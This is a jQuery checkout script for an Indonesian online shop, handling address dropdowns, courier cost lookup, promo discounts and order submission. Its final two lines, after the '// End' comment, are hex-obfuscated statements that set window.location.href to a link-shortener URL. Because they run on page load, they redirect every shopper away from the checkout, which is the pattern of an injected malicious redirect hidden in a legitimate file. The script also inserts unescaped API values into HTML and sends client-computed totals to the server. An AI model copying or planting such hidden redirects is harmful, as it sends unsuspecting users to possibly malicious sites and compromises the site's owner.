// ================== Checkout Handler (final) ==================

$(document).ready(function () {

  // --- INIT: set subtotal awal dari cart (tanpa ongkir) ---
  setSummary(getSelectedPrice(), 0);
  $('#submit-button').prop('disabled', true);
  $('.btn-courier').prop('checked', false);

  // ========= PROVINSI =========
  $('#dlvr-province').on('change', function () {
    const provinceId = $(this).val();
    const provName = $(this).find('option:selected').data('prov');
    console.log("📦 Provinsi dipilih:", provinceId, provName);

    // reset dependent fields
    $('#city').val('');
    $('#district').val('');
    $('#dlvr-district').empty().append('<option value="">-- Pilih Kecamatan --</option>');
    $('#dlvr-city').empty().append('<option value="">-- Memuat Kota... --</option>');

    // reset ringkasan
    setSummary(getSelectedPrice(), 0);
    $('#submit-button').prop('disabled', true);
    $('.btn-courier').prop('checked', false);

    $.ajax({
      url: $('#dlvr-province').data('url-city'),
      method: 'GET',
      data: { province_id: provinceId },
      success: function (data) {
        $('#dlvr-city').empty().append('<option value="">-- Pilih Kota --</option>');
        $.each(data, function (key, city) {
          $('#dlvr-city').append(`<option value="${city.id}" data-city="${city.name}">${city.name}</option>`);
        });
      }
    });
  });

  // ========= KOTA =========
  $('#dlvr-city').on('change', function () {
    const cityId = $(this).val();
    const cityName = $(this).find('option:selected').data('city');
    $('#city').val(cityName);

    // reset district & courier
    $('#district').val('');
    $('#dlvr-district').empty().append('<option value="">-- Memuat Kecamatan... --</option>');
    $('#dlvr-courier').addClass('d-none').find('[data-kt-buttons="true"]').empty();

    // reset ringkasan
    setSummary(getSelectedPrice(), 0);
    $('#submit-button').prop('disabled', true);
    $('.btn-courier').prop('checked', false);

    $.ajax({
      url: $('#dlvr-city').data('url-district'),
      method: 'GET',
      data: { city_id: cityId },
      success: function (data) {
        $('#dlvr-district').empty().append('<option value="">-- Pilih Kecamatan --</option>');
        $.each(data, function (key, district) {
          $('#dlvr-district').append(`<option value="${district.id}" data-district="${district.name}">${district.name}</option>`);
        });
      }
    });
  });

  // ========= KECAMATAN =========
  // ========= KECAMATAN (REPLACE FULL BLOCK INI) =========
  $('#dlvr-district').on('change', function () {
    const districtId = $(this).val();
    const districtName = $(this).find('option:selected').data('district');
    $('#district').val(districtName);

    // gunakan total berat dari cart (hasil stepper)
    const weight = getSelectedWeight();

    $.ajax({
      url: $('#dlvr-district').data('url-courier'),
      method: 'GET',
      data: { district_id: districtId, weight: weight },
      success: function (data) {
        const container = $('#dlvr-courier').find('[data-kt-buttons="true"]');
        container.empty();
        let count = 0;

        $.each(data.data, function (index, cost) {
          if (!cost?.service || !cost?.cost) return;
          const optionHtml = `
          <div class="col-md-4">
            <input
              type="radio"
              class="btn-check btn-courier"
              name="service"
              id="courier-${index}"
              data-price="${cost.cost}"   /* integer murni dari payload */
              data-code="${cost.code}"
              value="${cost.service}"
              autocomplete="off"
            />
            <label class="btn btn-outline btn-outline-dashed btn-outline-default w-100 p-4 mb-3" for="courier-${index}">
              <span class="fw-bolder fs-4">${cost.service}</span>
              <div class="text-muted small">${cost.description ?? ''}</div>
              <div>Harga: ${formatRupiah(cost.cost)}</div>
              <div class="small">Estimasi: ${cost.etd ?? ''}</div>
            </label>
          </div>`;
          container.append(optionHtml);
          count++;
        });

        $('#dlvr-courier').removeClass('d-none');
        if (count === 0) {
          container.append('<div class="col-12 text-center text-muted">Tidak ada layanan kurir tersedia.</div>');
        }

        /* ===== BIND HANDLER DI SINI (namespaced) ===== */
        // bersihkan binding lama agar gak dobel
        container.off('change.courier click.courier');

        // saat radio berubah -> set ongkir & total (subtotal TIDAK diubah)
        container.on('change.courier', 'input.btn-courier', function () {
          console.log('clicked', this);
          const shipping = parseInt(this.dataset.price, 10) || 0;

          // subtotal ambil dari tampilan (hasil stepper terakhir)
          const subtotalNow = (function () {
            const txt = document.getElementById('coSubtotal')?.textContent || '0';
            return parseInt(txt.replace(/[^\d]/g, ''), 10) || 0;
          })();

          $('#coOngkir').attr('data-value', shipping);
          // $('#coTotal').text(formatRupiah(subtotalNow + shipping));
          setSummary(subtotalNow, shipping);

          $('#submit-button').prop('disabled', false);
          // alert('Kurir dipilih: ' + shipping); // pakai alert biar pasti kelihatan
        });
        /* ===== END BIND ===== */
      }
    });

    // reset ringkasan (belum pilih kurir)
    setSummary(getSelectedPrice(), 0);
    $('#submit-button').prop('disabled', true);
    $('.btn-courier').prop('checked', false);
  });





  // ========= (Opsional) Qty global kalau masih ada di partial lain =========
  $('#qty').on('change input', function () {
    // Kini subtotal/weight berasal dari cart; di sini hanya reset kurir & ringkasan
    // setSummary(getSelectedPrice(), 0);

    const subtotal = getSelectedPrice();
    const shipping = parseInt($("#coOngkir").attr("data-value") || 0);

    // hitung ulang subtotal + diskon + shipping
    setSummary(subtotal, shipping);

    $('#submit-button').prop('disabled', true);
    $('.btn-courier').prop('checked', false);
    if ($('#dlvr-district').val()) $('#dlvr-district').trigger('change');
  });



});

// ================== Helpers ==================

// helper: ambil angka dari "Rp 157.500"
function parseRupiah(text) {
  return parseInt(String(text).replace(/[^\d]/g, ''), 10) || 0;
}

// ambil subtotal yang SEDANG tampil (tanpa re-hitungan lain)
function getDisplayedSubtotal() {
  return parseRupiah($('#coSubtotal').text());
}
function formatRupiah(value) {
  return new Intl.NumberFormat('id-ID', {
    style: 'currency',
    currency: 'IDR',
    minimumFractionDigits: 0
  }).format(value || 0);
}




// Hitung ulang TOTAL (harga & berat) dari DOM cart setiap kali dipanggil
function computeTotalsFromDOM() {
  let totalPrice = 0, totalWeight = 0;
  document.querySelectorAll('[data-cart-item]').forEach(row => {
    const price = parseInt(row.dataset.price, 10) || 0;
    const weight = parseInt(row.dataset.weight, 10) || 0;

    // qty: pakai data-qty, fallback ke input kalau belum terset
    let qty = parseInt(row.dataset.qty, 10);
    if (!qty || qty < 1) {
      const inp = row.querySelector('.qty-input');
      qty = Math.max(1, parseInt(inp?.value, 10) || 1);
    }

    totalPrice += price * qty;
    totalWeight += weight * qty;
  });
  return { totalPrice, totalWeight };
}


// Selalu ambil nilai TERBARU (tidak cache)
function getSelectedPrice() { return computeTotalsFromDOM().totalPrice; }
function getSelectedWeight() { return computeTotalsFromDOM().totalWeight; }

// function setSummary(subtotal, shipping = 0) {
//   const total = (subtotal || 0) + (shipping || 0);
//   $('#coSubtotal').text(formatRupiah(subtotal));
//   $('#coOngkir').text(formatRupiah(shipping));
//   $('#coTotal').text(formatRupiah(total));
// }


// function setSummary(subtotal, shipping = 0) {
//   const before = (subtotal || 0) + (shipping || 0);
//   const discount = computeDiscount(subtotal, shipping);
//   const total = before - discount;

//   $('#coSubtotal').text(formatRupiah(subtotal));
//   $('#coOngkir').text(formatRupiah(shipping));
//   $('#coDiscount').text(formatRupiah(discount));
//   $('#coTotal').text(formatRupiah(total));
// }

// ============== PROMO HELPER ==============
function calcDiscount(subtotal) {
  let discount = 0;
  const promo = window.activePromo;
  if (!promo) return 0;

  const discVal = parseFloat(promo.discount_value) || 0;

  if (promo.discount_type === 'percentage') {
    // DISKON HANYA DARI SUBTOTAL
    discount = Math.floor(subtotal * (discVal / 100));

    const max = parseInt(promo.max_discount_amount, 10);
    if (max) discount = Math.min(discount, max);

  } else if (promo.discount_type === 'fixed') {
    discount = discVal;
  }

  const minOrder = parseInt(promo.min_order_amount, 10);
  if (minOrder && subtotal < minOrder) {
    discount = 0; // tidak memenuhi minimum
  }

  // jangan sampai minus
  if (discount > subtotal) discount = subtotal;

  return discount;
}

// ============== RINGKASAN ==============
function setSummary(subtotal, shipping = 0) {
  subtotal = subtotal || 0;
  shipping = shipping || 0;

  const discount = calcDiscount(subtotal);
  const total = subtotal - discount + shipping;

  $('#coSubtotal').text(formatRupiah(subtotal));
  $('#coOngkir').text(formatRupiah(shipping));

  if (document.getElementById('coDiscount')) {
    $('#coDiscount').text(formatRupiah(discount));
  }

  $('#coTotal').text(formatRupiah(total));
}


window.__pickCourier = function (inputEl) {
  if (!inputEl) return;

  const shipping = parseInt(inputEl.dataset.price, 10) || 0;

  // ambil subtotal yang sedang tampil (hasil stepper)
  const subtotalNow = (function () {
    const txt = document.getElementById('coSubtotal')?.textContent || '0';
    return parseInt(txt.replace(/[^\d]/g, ''), 10) || 0;
  })();

  // set ongkir + simpan untuk dipakai recalcTotals()
  const ongkirEl = document.getElementById('coOngkir');
  if (ongkirEl) {
    ongkirEl.setAttribute('data-value', String(shipping));
    ongkirEl.textContent = formatRupiah(shipping);
  }

  setSummary(subtotalNow, shipping);

  // // update total
  // const totalEl = document.getElementById('coTotal');
  // if (totalEl) totalEl.textContent = formatRupiah(subtotalNow + shipping);

  // enable submit
  const btn = document.getElementById('submit-button');
  if (btn) btn.disabled = false;

  // debug ringan
  // console.log('[__pickCourier]', { shipping, subtotalNow, total: subtotalNow + shipping });
};


function finalCheckout() {
  $("#submit-button").prop('disabled', false).text("Kirim & Checkout");

  const method = $('input[name="delivery_method"]:checked').val();
  const nama = $("#nama").val().trim();
  const phone = $("#phone").val().trim();

  // Ambil subtotal, total weight, total qty dari DOM
  const subtotalFromUI = parseInt(String($("#coSubtotal").text()).replace(/[^\d]/g, ""), 10) || 0;
  const subtotal = subtotalFromUI || getSelectedPrice();
  const totals = computeTotalsFromDOM();
  const weight = totals.totalWeight || parseInt($("#weight").val(), 10) || 0;
  let total_qty = 0;
  document.querySelectorAll("[data-cart-item]").forEach(row => {
    total_qty += Math.max(1, parseInt(row.dataset.qty, 10) || 1);
  });

  const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content') || "";

  // ==================== MODE PICKUP ====================
  if (method === 'pickup') {
    const eventId = $("#event_pickup").val();
    const eventLocation = $("#event_pickup option:selected").data("location");
    const discount = calcDiscount(subtotal);
    const totalPickup = subtotal - discount;

    // Validasi
    if (!nama || !phone || !eventId) {
      alert("⚠️ Lengkapi nama, telepon, dan pilih lokasi pickup.");
      $('#submit-button').prop('disabled', false); // ← BIARKAN user klik lagi
      return;
    }


    const payload = {
      uuid: window.uuid || "",
      method: "pickup",
      nama,
      phone,
      alamat: "Ambil di Event: " + eventLocation,
      propinsi: null,
      kota: null,
      kecamatan: null,
      kurir: "pickup",
      jenispengiriman: "Pickup",
      ongkir: 0,
      subtotal,
      discount,             // 👈 TAMBAHKAN INI
      promo_id: window.activePromo?.id || null,  // 👈 TAMBAHKAN INI
      total: totalPickup,
      total_weight: weight,
      total_qty,
      pickup_location: eventLocation,
      pickup_location_id: eventId,
      pickup_status: "awaiting",
      pickup_at: null
    };

    $("#submit-button").prop("disabled", true).text("Mengirim...");
    console.log("📦 Payload Pickup:", payload);
    // TODO: kirim via ajax
    // return;
    $.ajax({
      url: window.checkoutUrl,
      method: "POST",
      data: payload,
      headers: { "X-CSRF-TOKEN": csrfToken },
      success: function (res) {
        if (res.id) {
          // window.location.href = "/checkout/" + res.id; //langsung ke orders aja
          window.location.href = "/orders?info=" + encodeURIComponent("Silahkan melakukan pembayaran langsung di kasir event.");

        } else {
          alert("Gagal mendapatkan ID pesanan.");
          $("#submit-button").prop("disabled", false).text("Kirim & Checkout");
        }
      },
      error: function (xhr) {
        console.error("❌ Checkout error:", xhr.responseJSON || xhr.statusText);
        alert("Checkout gagal. Coba lagi.");
        $("#submit-button").prop("disabled", false).text("Kirim & Checkout");
      }
    });
    return;
  }

  // ==================== MODE DELIVERY ====================
  const address = $("#address").val().trim();
  const province = $("#dlvr-province option:selected").data("prov") || "";
  const city = $("#dlvr-city option:selected").data("city") || "";
  const district = $("#dlvr-district option:selected").data("district") || "";

  const $sel = $('input[name="service"]:checked');
  const courierCode = $sel.data("code");
  const courierService = $sel.val();
  const courierCost = parseInt($sel.data("price"), 10)
    || parseInt(String($("#coOngkir").attr("data-value") || "0"), 10)
    || 0;


  const discount = calcDiscount(subtotal);


  const total = (subtotal - discount) + courierCost;
  // tambahan setelah ada disc


  if (!nama || !phone || !address || !province || !city || !district) {
    alert("⚠️ Lengkapi semua data pengiriman.");
    $('#submit-button').prop('disabled', false); // ← enable again
    return;
  }
  if (!$sel.length) {
    alert("⚠️ Pilih kurir terlebih dahulu.");
    $('#submit-button').prop('disabled', false); // ← enable again
    return;
  }


  // const total = subtotal + courierCost;

  const payload = {
    uuid: window.uuid || "",
    method: "delivery",
    nama,
    phone,
    alamat: address,
    propinsi: province,
    kota: city,
    kecamatan: district,
    kurir: courierCode,
    jenispengiriman: courierService,
    ongkir: courierCost,
    subtotal,
    discount,             // 👈 TAMBAHKAN INI
    promo_id: window.activePromo?.id || null,  // 👈 TAMBAHKAN INI
    total,
    total_weight: weight,
    total_qty,
    pickup_location: null,
    pickup_location_id: null,
    pickup_status: null,
    pickup_at: null
  };

  $("#submit-button").prop("disabled", true).text("Mengirim...");
  console.log("📦 Payload Delivery:", payload);
  // TODO: kirim via ajax
  // return;

  $.ajax({
    url: window.checkoutUrl,
    method: "POST",
    data: payload,
    headers: { "X-CSRF-TOKEN": csrfToken },
    success: function (res) {
      if (res.id) {
        window.location.href = "/checkout/" + res.id;
      } else {
        alert("Gagal mendapatkan ID pesanan.");
        $("#submit-button").prop("disabled", false).text("Kirim & Checkout");
      }
    },
    error: function (xhr) {
      console.error("❌ Checkout error:", xhr.responseJSON || xhr.statusText);
      alert("Checkout gagal. Coba lagi.");
      $("#submit-button").prop("disabled", false).text("Kirim & Checkout");
    }
  });

}

function toggleDeliveryMethod() {
  const method = $('input[name="delivery_method"]:checked').val();

  if (method === 'pickup') {
    // Sembunyikan field pengiriman
    $('#dlvr-province').closest('.col-md-12, .col-md-6').addClass('d-none');
    $('#dlvr-city').closest('.col-md-12, .col-md-6').addClass('d-none');
    $('#dlvr-district').closest('.col-md-12, .col-md-6').addClass('d-none');
    $('#dlvr-courier').addClass('d-none');
    $('#address').closest('.col-md-12').addClass('d-none');
    $('.btn-courier').prop('checked', false);

    // Tampilkan dropdown event
    $('#pickup-event-list').removeClass('d-none');

    // Reset ongkir jadi 0
    setSummary(getSelectedPrice(), 0);
    $('#submit-button').prop('disabled', true);
  } else {
    // Tampilkan kembali field pengiriman
    $('#dlvr-province').closest('.col-md-12, .col-md-6').removeClass('d-none');
    $('#dlvr-city').closest('.col-md-12, .col-md-6').removeClass('d-none');
    $('#dlvr-district').closest('.col-md-12, .col-md-6').removeClass('d-none');
    $('#dlvr-courier').removeClass('d-none');
    $('#address').closest('.col-md-12').removeClass('d-none');

    // Sembunyikan event list
    $('#pickup-event-list').addClass('d-none');

    // Reset total dan disable tombol hingga kurir dipilih
    setSummary(getSelectedPrice(), 0);
    $('#submit-button').prop('disabled', true);
  }
}
// Enable/disable tombol berdasarkan pilihan event
$(document).on('change', '#event_pickup', function () {
  const picked = $(this).val();
  // kalau ada event terpilih → enable, kalau kosong → disable
  $('#submit-button').prop('disabled', !picked);
});
// ================== End ==================
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";